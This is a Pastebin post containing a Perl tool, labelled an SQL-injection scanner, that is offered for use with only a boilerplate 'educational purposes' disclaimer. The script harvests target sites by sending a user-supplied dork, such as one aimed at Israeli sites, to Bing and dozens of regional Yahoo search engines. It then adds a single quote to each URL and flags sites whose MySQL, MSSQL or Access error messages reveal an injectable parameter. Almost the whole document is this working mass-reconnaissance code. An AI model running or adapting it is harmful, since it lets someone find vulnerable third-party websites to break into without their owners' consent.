Advertisement
Pain_R

sql scanner

Apr 21st, 2014
1,642
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Perl 23.45 KB | None | 0 0
  1. #!usr/bin/perl
  2. # - Modify, distribute, share and copy this code in any way you like!
  3. # - Please note that this tool was created and published for educational purposes only
  4. # - Do not use it in an illegal way and always know + respect your local laws.
  5. # - Author will be not responsible for any damage.
  6. # - Contact me at : gonerebootyourself@gmail.com
  7. # - Visit http://github.com/L4W/perl for more code
  8.  
  9. use HTTP::Request;
  10. use LWP::UserAgent;
  11. use IO::Socket;
  12. use Socket;
  13. use URI::Escape;
  14. use POSIX qw(strftime);
  15.  
  16. if ($^O =~ /Win/){
  17. system ('cls');
  18. }else{
  19. system ('clear');
  20. }
  21. my ($sec,$min,$hour,$day,$mon,$year,$wday,$yday,$isdst)=localtime();
  22. my $uagent    = "Mozilla/5.0 (Windows NT 5.1; rv:2.0.1) Gecko/20100101 Firefox/4.0.1";
  23. print q {
  24.  SQLi scanner
  25. };
  26. print q(
  27.  SQLi scanner
  28. );
  29. print "---------------------------------------------------------
  30. [!] Options
  31. [!] contoh
  32. [!] Dork : product.php?id= +site:il +you have an error in your sql
  33. ---------------------------------------------------------\n";
  34. print "[?] Dork for scanning : ";
  35. my $dork = <STDIN>;
  36. chomp $dork;
  37. $ngitung = 0;
  38. my %hosts;
  39. print "---------------------------------------------------------
  40. [!] Scanning info
  41. ---------------------------------------------------------
  42. [+] Time : $hour:$min:$sec
  43. [+] Dork : $dork
  44. ---------------------------------------------------------
  45. [!] Scanning started....
  46. ---------------------------------------------------------";
  47. #Search Engine
  48. my @bing = &bing($dork);
  49. print "\n[+] Bing      get ".scalar(@bing)." Sites";
  50. my @irlandia = &irlandia($dork);
  51. print "\n[+] Irlandia  get ".scalar(@irlandia)." Sites";
  52. my @indonesia = &indonesia($dork);
  53. print "\n[+] Indonesia get ".scalar(@indonesia)." Sites";
  54. my @thailand = &thailand($dork);
  55. print "\n[+] Thailand  get ".scalar(@thailand)." Sites";
  56. my @argentina = &argentina($dork);
  57. print "\n[+] Argentina get ".scalar(@argentina)." Sites";
  58. my @singapura = &singapura($dork);
  59. print "\n[+] Singapura get ".scalar(@singapura)." Sites";
  60. my @malaysia = &malaysia($dork);
  61. print "\n[+] Malaysia  get ".scalar(@malaysia)." Sites";
  62. my @vietnam = &vietnam($dork);
  63. print "\n[+] Vietnam   get ".scalar(@vietnam)." Sites";
  64. my @rusia = &rusia($dork);
  65. print "\n[+] Rusia     get ".scalar(@rusia)." Sites";
  66. my @czech = &czech($dork);
  67. print "\n[+] Czech     get ".scalar(@czech)." Sites";
  68. my @belanda = &belanda($dork);
  69. print "\n[+] Belanda   get ".scalar(@belanda)." Sites";
  70. my @australia = &australia($dork);
  71. print "\n[+] Australia get ".scalar(@australia)." Sites";
  72. my @brasil = &brasil($dork);
  73. print "\n[+] Brasil    get ".scalar(@brasil)." Sites";
  74. my @kanada = &canada($dork);
  75. print "\n[+] Kanada    get ".scalar(@kanada)." Sites";
  76. my @jerman = &jerman($dork);
  77. print "\n[+] Jerman    get ".scalar(@jerman)." Sites";
  78. my @spanyol = &spanyol($dork);
  79. print "\n[+] Spanyol   get ".scalar(@spanyol)." Sites";
  80. my @perancis = &perancis($dork);
  81. print "\n[+] Perancis  get ".scalar(@perancis)." Sites";
  82. my @italia = &italia($dork);
  83. print "\n[+] Italia    get ".scalar(@italia)." Sites";
  84. my @inggris = &inggris($dork);
  85. print "\n[+] Inggris   get ".scalar(@inggris)." Sites";
  86. my @turki = &turki($dork);
  87. print "\n[+] Turki     get ".scalar(@turki)." Sites";
  88. my @polandia = &polandia($dork);
  89. print "\n[+] Polandia  get ".scalar(@polandia)." Sites";
  90. my @filipina = &filipina($dork);
  91. print "\n[+] Filipina  get ".scalar(@filipina)." Sites";
  92. my @peru = &peru($dork);
  93. print "\n[+] Peru      get ".scalar(@peru)." Sites";
  94. my @hongkong = &hongkong($dork);
  95. print "\n[+] Hongkong  get ".scalar(@hongkong)." Sites";
  96. my @finlandia = &finlandia($dork);
  97. print "\n[+] Finlandia get ".scalar(@finlandia)." Sites";
  98. my @yunani = &yunani($dork);
  99. print "\n[+] Yunani    get ".scalar(@yunani)." Sites";
  100. my @kolombia = &kolombia($dork);
  101. print "\n[+] Kolombia  get ".scalar(@kolombia)." Sites";
  102. my @taiwan = &taiwan($dork);
  103. print "\n[+] Taiwan    get ".scalar(@taiwan)." Sites";
  104. my @swiss = &swiss($dork);
  105. print "\n[+] Swiss     get ".scalar(@swiss)." Sites";
  106. my @mexico = &mexico($dork);
  107. print "\n[+] Meksiko   get ".scalar(@mexico)." Sites";
  108. my @korea = &korea($dork);
  109. print "\n[+] Korea     get ".scalar(@korea)." Sites";
  110. my @india = &india($dork);
  111. print "\n[+] India     get ".scalar(@india)." Sites";
  112. my @swedia = &swedia($dork);
  113. print "\n[+] Swedia    get ".scalar(@swedia)." Sites";
  114. print "\n---------------------------------------------------------";
  115. print "\n[!] Searching vulnerable sites";
  116. print "\n[!] Please wait...\n";
  117. print "---------------------------------------------------------\n";
  118. push(my @tot, @bing, @irlandia, @indonesia, @thailand, @argentina, @singapura, @malaysia, @vietnam, @swedia, @rusia, @czech, @belanda,
  119. @australia, @brasil, @kanada, @jerman, @spanyol, @perancis, @italia, @inggris, @turki, @polandia, @filipina, @peru, @hongkong, @yunani,
  120. @finlandia, @kolombia, @taiwan, @swiss, @mexico, @korea, @india, @irlandia);
  121. my @bersih=&clean(@tot);
  122. my $akhir=scalar(@bersih);
  123. foreach my $situs (@bersih) {
  124. $ngitung++;
  125. if ($ngitung==$akhir-1){
  126. print "\n[!] Scan finish for $dork :D";
  127. }
  128. my $expl="http://".$situs."'";
  129. my $mysql = "MySQL";
  130. my $mssql = "MsSQL";
  131. my $msacc = "MsAcces";
  132. my $string = getcontent($expl);
  133. if ( $string =~ m/You have an error in your SQL syntax/i || $string =~ m/Query failed/i || $string =~ m/SQL query failed/i ){
  134. print "[*] MySQL vuln for SQLi on $situs\n";
  135. printlog ("
  136. Time     : $hour:$min:$sec
  137. Site     : $situs
  138. Database : $mysql\n");
  139. }
  140. elsif ( $string =~ m/ODBC SQL Server Driver/i || $string =~ m/Unclosed quotation mark/i || $string =~ m/Microsoft OLE DB Provider for/i ){
  141. print "[*] MsSQL vuln for SQLi on $vuln\n";
  142. printlog ("
  143. Time     : $hour:$min:$sec
  144. Site     : $situs
  145. Database : $mssql\n");
  146. }
  147. elsif ( $string =~ m/Microsoft JET Database/i || $string =~ m/ODBC Microsoft Access Driver/i ){
  148. print "[*] MsAcces vuln for SQLi on $vuln\n";
  149. printlog ("
  150. Time     : $hour:$min:$sec
  151. Site     : $situs
  152. Database : $msacc\n");
  153. }
  154. }
  155. exit;
  156. #Search Engine
  157. sub bing() {
  158.     my @list;
  159.     my $key = $_[0];
  160.     for (my $i=1; $i<=200; $i+=10) {
  161.         my $search = ("http://www.bing.com/search?q=".uri_escape($key)."&first=".$i);
  162.         my $res = &search_engine_query($search);
  163.         while ($res =~ m/<a href=\"?http:\/\/([^\"]*)\"/g) {
  164.             my $link = $1;
  165.             if ($link !~ /google/) {
  166.                 my @grep = &links($link);
  167.                 push(@list,@grep);
  168.             }
  169.         }
  170.     }
  171.     return @list;
  172. }
  173.  
  174. sub indonesia() {
  175.     my @list;
  176.   my $key = $_[0];
  177.   my $b   = 0;
  178.     for (my $i=1; $i<=200; $i+=100) {
  179.         my $search = ("http://id.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  180.         my $res = &search_engine_query($search);
  181.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  182.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  183.             }
  184.         }
  185.     } return @list;
  186. }
  187.  
  188. sub india() {
  189.     my @list;
  190.   my $key = $_[0];
  191.   my $b   = 0;
  192.     for (my $i=1; $i<=200; $i+=100) {
  193.         my $search = ("http://in.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  194.         my $res = &search_engine_query($search);
  195.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  196.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  197.             }
  198.         }
  199.     } return @list;
  200. }
  201.  
  202. sub irlandia() {
  203.     my @list;
  204.   my $key = $_[0];
  205.   my $b   = 0;
  206.     for (my $i=1; $i<=200; $i+=100) {
  207.         my $search = ("http://ie.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  208.         my $res = &search_engine_query($search);
  209.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  210.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  211.             }
  212.         }
  213.     } return @list;
  214. }
  215.  
  216. sub korea() {
  217.     my @list;
  218.   my $key = $_[0];
  219.   my $b   = 0;
  220.     for (my $i=1; $i<=200; $i+=100) {
  221.         my $search = ("http://kr.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  222.         my $res = &search_engine_query($search);
  223.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  224.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  225.             }
  226.         }
  227.     } return @list;
  228. }
  229.  
  230. sub thailand() {
  231.     my @list;
  232.   my $key = $_[0];
  233.   my $b   = 0;
  234.     for (my $i=1; $i<=200; $i+=100) {
  235.         my $search = ("http://th.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  236.         my $res = &search_engine_query($search);
  237.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  238.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  239.             }
  240.         }
  241.     } return @list;
  242. }
  243.  
  244. sub argentina() {
  245.     my @list;
  246.   my $key = $_[0];
  247.   my $b   = 0;
  248.     for (my $i=1; $i<=200; $i+=100) {
  249.         my $search = ("http://ar.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  250.         my $res = &search_engine_query($search);
  251.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  252.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  253.             }
  254.         }
  255.     } return @list;
  256. }
  257.  
  258. sub singapura() {
  259.     my @list;
  260.   my $key = $_[0];
  261.   my $b   = 0;
  262.     for (my $i=1; $i<=200; $i+=100) {
  263.         my $search = ("http://sg.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  264.         my $res = &search_engine_query($search);
  265.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  266.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  267.             }
  268.         }
  269.     } return @list;
  270. }
  271.  
  272. sub malaysia() {
  273.     my @list;
  274.   my $key = $_[0];
  275.   my $b   = 0;
  276.     for (my $i=1; $i<=200; $i+=100) {
  277.         my $search = ("http://malaysia.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  278.         my $res = &search_engine_query($search);
  279.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  280.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  281.             }
  282.         }
  283.     } return @list;
  284. }
  285.  
  286. sub vietnam() {
  287.     my @list;
  288.   my $key = $_[0];
  289.   my $b   = 0;
  290.     for (my $i=1; $i<=200; $i+=100) {
  291.         my $search = ("http://vn.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  292.         my $res = &search_engine_query($search);
  293.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  294.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  295.             }
  296.         }
  297.     } return @list;
  298. }
  299.  
  300. sub swedia() {
  301.     my @list;
  302.   my $key = $_[0];
  303.   my $b   = 0;
  304.     for (my $i=1; $i<=200; $i+=100) {
  305.         my $search = ("http://se.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  306.         my $res = &search_engine_query($search);
  307.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  308.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  309.             }
  310.         }
  311.     } return @list;
  312. }
  313.  
  314. sub rusia() {
  315.     my @list;
  316.   my $key = $_[0];
  317.   my $b   = 0;
  318.     for (my $i=1; $i<=200; $i+=100) {
  319.         my $search = ("http://ru.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  320.         my $res = &search_engine_query($search);
  321.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  322.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  323.             }
  324.         }
  325.     } return @list;
  326. }
  327.  
  328. sub czech() {
  329.     my @list;
  330.   my $key = $_[0];
  331.   my $b   = 0;
  332.     for (my $i=1; $i<=200; $i+=100) {
  333.         my $search = ("http://cs.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  334.         my $res = &search_engine_query($search);
  335.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  336.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  337.             }
  338.         }
  339.     } return @list;
  340. }
  341.  
  342. sub belanda() {
  343.     my @list;
  344.   my $key = $_[0];
  345.   my $b   = 0;
  346.     for (my $i=1; $i<=200; $i+=100) {
  347.         my $search = ("http://nl.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  348.         my $res = &search_engine_query($search);
  349.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  350.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  351.             }
  352.         }
  353.     } return @list;
  354. }
  355.  
  356. sub australia() {
  357.     my @list;
  358.   my $key = $_[0];
  359.   my $b   = 0;
  360.     for (my $i=1; $i<=200; $i+=100) {
  361.         my $search = ("http://au.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  362.         my $res = &search_engine_query($search);
  363.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  364.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  365.             }
  366.         }
  367.     } return @list;
  368. }
  369.  
  370. sub brasil() {
  371.     my @list;
  372.   my $key = $_[0];
  373.   my $b   = 0;
  374.     for (my $i=1; $i<=200; $i+=100) {
  375.         my $search = ("http://br.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  376.         my $res = &search_engine_query($search);
  377.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  378.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  379.             }
  380.         }
  381.     } return @list;
  382. }
  383.  
  384. sub canada() {
  385.     my @list;
  386.   my $key = $_[0];
  387.   my $b   = 0;
  388.     for (my $i=1; $i<=200; $i+=100) {
  389.         my $search = ("http://ca.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  390.         my $res = &search_engine_query($search);
  391.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  392.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  393.             }
  394.         }
  395.     } return @list;
  396. }
  397.  
  398. sub jerman() {
  399.     my @list;
  400.   my $key = $_[0];
  401.   my $b   = 0;
  402.     for (my $i=1; $i<=200; $i+=100) {
  403.         my $search = ("http://de.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  404.         my $res = &search_engine_query($search);
  405.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  406.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  407.             }
  408.         }
  409.     } return @list;
  410. }
  411.  
  412. sub spanyol() {
  413.     my @list;
  414.   my $key = $_[0];
  415.   my $b   = 0;
  416.     for (my $i=1; $i<=200; $i+=100) {
  417.         my $search = ("http://es.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  418.         my $res = &search_engine_query($search);
  419.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  420.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  421.             }
  422.         }
  423.     } return @list;
  424. }
  425.  
  426. sub perancis() {
  427.     my @list;
  428.   my $key = $_[0];
  429.   my $b   = 0;
  430.     for (my $i=1; $i<=200; $i+=100) {
  431.         my $search = ("http://fr.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  432.         my $res = &search_engine_query($search);
  433.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  434.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  435.             }
  436.         }
  437.     }
  438. return @list;
  439. }
  440.  
  441. sub italia() {
  442.     my @list;
  443.   my $key = $_[0];
  444.   my $b   = 0;
  445.     for (my $i=1; $i<=200; $i+=100) {
  446.         my $search = ("http://it.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  447.         my $res = &search_engine_query($search);
  448.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  449.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  450.             }
  451.         }
  452.     } return @list;
  453. }
  454.  
  455. sub turki() {
  456.     my @list;
  457.   my $key = $_[0];
  458.   my $b   = 0;
  459.     for (my $i=1; $i<=200; $i+=100) {
  460.         my $search = ("http://tr.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  461.         my $res = &search_engine_query($search);
  462.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  463.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  464.             }
  465.         }
  466.     } return @list;
  467. }
  468.  
  469. sub polandia() {
  470.     my @list;
  471.   my $key = $_[0];
  472.   my $b   = 0;
  473.     for (my $i=1; $i<=200; $i+=100) {
  474.         my $search = ("http://pl.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  475.         my $res = &search_engine_query($search);
  476.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  477.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  478.             }
  479.         }
  480.     } return @list;
  481. }
  482.  
  483. sub filipina() {
  484.     my @list;
  485.   my $key = $_[0];
  486.   my $b   = 0;
  487.     for (my $i=1; $i<=200; $i+=100) {
  488.         my $search = ("http://ph.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  489.         my $res = &search_engine_query($search);
  490.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  491.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  492.             }
  493.         }
  494.     } return @list;
  495. }
  496.  
  497. sub inggris() {
  498.     my @list;
  499.   my $key = $_[0];
  500.   my $b   = 0;
  501.     for (my $i=1; $i<=200; $i+=100) {
  502.         my $search = ("http://uk.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  503.         my $res = &search_engine_query($search);
  504.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  505.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  506.             }
  507.         }
  508.     } return @list;
  509. }
  510.  
  511. sub peru() {
  512.     my @list;
  513.   my $key = $_[0];
  514.   my $b   = 0;
  515.     for (my $i=1; $i<=200; $i+=100) {
  516.         my $search = ("http://pe.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  517.         my $res = &search_engine_query($search);
  518.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  519.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  520.             }
  521.         }
  522.     } return @list;
  523. }
  524.  
  525. sub hongkong() {
  526.     my @list;
  527.   my $key = $_[0];
  528.   my $b   = 0;
  529.     for (my $i=1; $i<=200; $i+=100) {
  530.         my $search = ("http://hk.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  531.         my $res = &search_engine_query($search);
  532.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  533.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  534.             }
  535.         }
  536.     } return @list;
  537. }
  538.  
  539. sub yunani() {
  540.     my @list;
  541.   my $key = $_[0];
  542.   my $b   = 0;
  543.     for (my $i=1; $i<=200; $i+=100) {
  544.         my $search = ("http://gr.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  545.         my $res = &search_engine_query($search);
  546.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  547.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  548.             }
  549.         }
  550.     } return @list;
  551. }
  552.  
  553. sub finlandia() {
  554.     my @list;
  555.   my $key = $_[0];
  556.   my $b   = 0;
  557.     for (my $i=1; $i<=200; $i+=100) {
  558.         my $search = ("http://fi.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  559.         my $res = &search_engine_query($search);
  560.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  561.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  562.             }
  563.         }
  564.     } return @list;
  565. }
  566.  
  567. sub kolombia() {
  568.     my @list;
  569.   my $key = $_[0];
  570.   my $b   = 0;
  571.     for (my $i=1; $i<=200; $i+=100) {
  572.         my $search = ("http://co.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  573.         my $res = &search_engine_query($search);
  574.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  575.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  576.             }
  577.         }
  578.     } return @list;
  579. }
  580.  
  581. sub taiwan() {
  582.     my @list;
  583.   my $key = $_[0];
  584.   my $b   = 0;
  585.     for (my $i=1; $i<=200; $i+=100) {
  586.         my $search = ("http://tw.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  587.         my $res = &search_engine_query($search);
  588.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  589.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  590.             }
  591.         }
  592.     } return @list;
  593. }
  594.  
  595. sub swiss() {
  596.     my @list;
  597.   my $key = $_[0];
  598.   my $b   = 0;
  599.     for (my $i=1; $i<=200; $i+=100) {
  600.         my $search = ("http://ch.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  601.         my $res = &search_engine_query($search);
  602.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  603.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  604.             }
  605.         }
  606.     } return @list;
  607. }
  608.  
  609. sub mexico() {
  610.     my @list;
  611.     my $key = $_[0];
  612.     my $b     = 0;
  613.     for (my $i=1; $i<=200; $i+=100) {
  614.         my $search = ("http://mx.search.yahoo.com/search?n=100&p=".uri_escape($key)."&b=".$i);
  615.         my $res = &search_engine_query($search);
  616.         while ($res =~ m/http\%3a\/\/(.+?)\//g) {
  617.             if ($1 !~ /yahoo\.com/){ my $link = $1; $link =~ s/<//g; $link =~ s/ //g; my @grep = &links($link); push(@list,@grep);
  618.             }
  619.         }
  620.     } return @list;
  621. }
  622. ################################################
  623. sub search_engine_query() {
  624.     my $url = $_[0];
  625.     $url =~ s/http:\/\///;
  626.     my $host = $url;
  627.     my $query = $url;
  628.     my $page  = "";
  629.     $host =~ s/href=\"?http:\/\///;
  630.     $host =~ s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  631.     $query =~ s/$host//;
  632.     if ($query eq "") { $query = "/"; }
  633.         eval {
  634.             my $sock = IO::Socket::INET->new(PeerAddr=>"$host", PeerPort=>"80", Proto=>"tcp") or return;
  635.             my $sget = "GET $query HTTP/1.0\r\n";
  636.             $sget .= "Host: $host\r\n";
  637.             $sget .= "Accept: */*\r\n";
  638.             $sget .= "User-Agent: $uagent\r\n";
  639.             $sget .= "Connetion: Close\r\n\r\n";
  640.             print $sock $sget;
  641.             my @pages = <$sock>;
  642.             $page = "@pages";
  643.             close($sock);
  644.         };
  645.     return $page;
  646. }
  647.  
  648. sub clean() {
  649.     my @cln = ();
  650.     my %visit = ();
  651.     foreach my $element (@_) {
  652.         $element =~ s/\/+/\//g;
  653.         next if $visit{$element}++;
  654.         push @cln, $element;
  655.     }
  656.     return @cln;
  657. }
  658.  
  659. sub links() {
  660. my @l;
  661. my $link=$_[0];
  662. my $host=$_[0];
  663. my $hdir=$_[0];
  664. $hdir=~s/(.*)\/[^\/]*$/\1/;
  665. $host=~s/([-a-zA-Z0-9\.]+)\/.*/$1/;
  666. $host.="/";
  667. $link.="/";
  668. $hdir.="/";
  669. $host=~s/\/\//\//g;
  670. $hdir=~s/\/\//\//g;
  671. $link=~s/\/\//\//g;
  672. push(@l,$link,$host,$hdir);
  673. return @l;
  674. }
  675.  
  676. sub getcontent() {
  677.     my $url = $_[0];
  678.     my $req = HTTP::Request->new(GET => $url);
  679.     my $ua  = LWP::UserAgent->new();
  680.     $ua->timeout(15);
  681.     my $response = $ua->request($req);
  682.     return $response->content;
  683. }
  684.  
  685. sub printlog {
  686. my ($logsec,$logmin,$loghour,$logmday,$logmon,$logyear,$logwday,$logyday,$logisdst)=localtime(time);
  687. my $logtimestamp = sprintf("%4d-%02d-%02d,%02d:%02d:%02d",$logyear+1900,$logmon+1,$logmday,$loghour,$logmin,$logsec);
  688. $logmon++;
  689. $logyear=$logyear+1900;
  690. my $log="[$logdir$logyear-$logmon-$logmday]SQLscan.log";
  691. open(lo,">>$log") or die "$log:$!";
  692. print lo @_[0];
  693. close(lo);
  694. return;
  695. }
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement